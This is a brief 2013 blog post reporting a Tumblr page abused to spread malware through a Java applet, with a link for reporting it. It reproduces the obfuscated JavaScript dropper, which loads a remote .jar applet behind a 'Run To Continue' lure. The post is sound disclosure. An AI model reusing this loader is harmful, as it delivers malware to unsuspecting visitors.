tisdag 19 februari 2013

Abusing tumblr to spread malware

A friend kindly shared this link with me http://gta5updates.tumblr.com/,
then after that we go to http://tumblr.comlu.com/...

and pie, there is a java applet


Pretty fun to see that tumblr can be abused like that, i have never seen it before...
How ever for reporting a tumblr a mail is fine (that nice)
http://tumblring.net/how-to-report-people-on-tumblr-for-abuse/
<script type="text/javascript">
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g c(){6=h.i("3");j(6==k){7 a="<2 4=\'l\'><p>m n 3 5 o q 5 r s, t u 8 v <a w=\'9://x.y/z/A.B?C=D\'>E</a></p></2>"}F{7 a="<2 4=\'G\'><p>b H 3 5 I.</p></2>";a+="<e f=\'b J K L\' M=\'1\' N=\'1\' O=\'P.4\' Q=\'R.S\'><T f=\'U\' V=\'9://W.X/Y/1/Z/10/0/11?8\'></e>"}12.13("d").14=a}',62,67,'||div|Java|class|to|javaVersion|var|download|http||Please|||applet|name|function|PluginDetect|getVersion|if|undefined|errorm|You|need|be||able|use|Tumblr|you|can|it|href|java|com|inc|BrowserRedirect1|jsp|locale|en|here|else|successm|run|continue|Run|To|Continue|width|height|code|wolf|archive|RohPd2kj5WN144V|jar|param|alpha|value|ge|tt|api|files|3u9o0OY|blob|document|getElementById|innerHTML'.split('|'),0,{}))
</script>

Inga kommentarer:

Skicka en kommentar